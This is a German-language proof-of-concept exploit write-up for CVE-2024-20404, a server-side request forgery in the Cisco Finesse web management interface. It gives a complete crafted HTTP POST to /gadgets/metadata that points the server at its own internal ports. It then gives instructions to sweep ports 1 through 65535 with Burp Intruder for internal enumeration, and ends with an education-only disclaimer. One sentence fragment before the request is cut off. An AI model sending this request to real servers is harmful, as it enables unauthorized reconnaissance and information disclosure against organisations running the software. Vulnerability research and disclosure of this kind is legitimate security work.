
Proof-of-concept-Exploit für CVE-2024-20404, der SSRF in der webbasierten Verwaltungsoberfläche von Cisco Finesse demonstriert und interne Port-Enumeration sowie begrenzte Informationspreisgabe ermöglicht.
Eine Schwachstelle in der webbasierten Verwaltungsoberfläche von Cisco Finesse könnte es einem nicht authentifizierten, entfernten Angreifer ermöglichen, einen SSRF-Angriff auf ein betroffenes System durchzuführen.
Diese Schwachstelle ist auf eine unzureichende Validierung der vom Benutzer bereitgestellten Eingaben für bestimmte HTTP-Anfragen zurückzuführen, die an ein betroffenes System gesendet werden. Ein Angreifer könnte diese Schwachstelle ausnutzen, indem er eine manipulierte HTTP-Anfrage an das betroffene Gerät sendet. Ein erfolgreicher Exploit könnte es dem Angreifer ermöglichen, begrenzte sensible Informationen für Dienste zu erhalten, die mit dem betroffenen Gerät verbunden sind.
<target> ersetzt haben.POST /gadgets/metadata HTTP/2
Host: <target>:8445
Cookie: timeBeforeFailover=1695808242310; timeBeforeAttemptingLoginInIframe=1695808244317; attemptsMade=1; seqNumberGenerated=1; finesse_ag_extension=<extension>; activeDeviceId4000=SEPD4AD717A03F6; timeBeforeLoadingOtherSide=1695808249678
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://<target>:8445/desktop/container;jsessionid=90aE172355707490406528141464742B/?locale=en_US
Content-Type: application/json
Content-Length: 127
Origin: https://<target>:8445
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
{"context":{"container":"default","language":"en","country":"US","locale":"en_US"},"gadgets":[{"url":"http://127.0.0.1:8444"}]}

Verwenden Sie den Burp Suite Intruder, um alle offenen Ports auf dem Cisco Finesse webbasierten Verwaltungsserver zu scannen, indem Sie die Portnummer von 1-65535 ändern.
Sie sehen die Antwort "Connection refused" auf den geschlossenen Ports.


Dies ist lediglich ein Proof of Concept (PoC), um zu zeigen, dass die webbasierte Verwaltungsoberfläche von Cisco Finesse anfällig für Server Side Request Forgery (SSRF) ist, und dieser PoC dient nur zu Bildungszwecken. Verwenden Sie ihn verantwortungsbewusst und nur auf Systemen, für die Sie eine ausdrückliche Genehmigung zum Testen haben. Missbrauch dieses PoC kann schwerwiegende Folgen haben.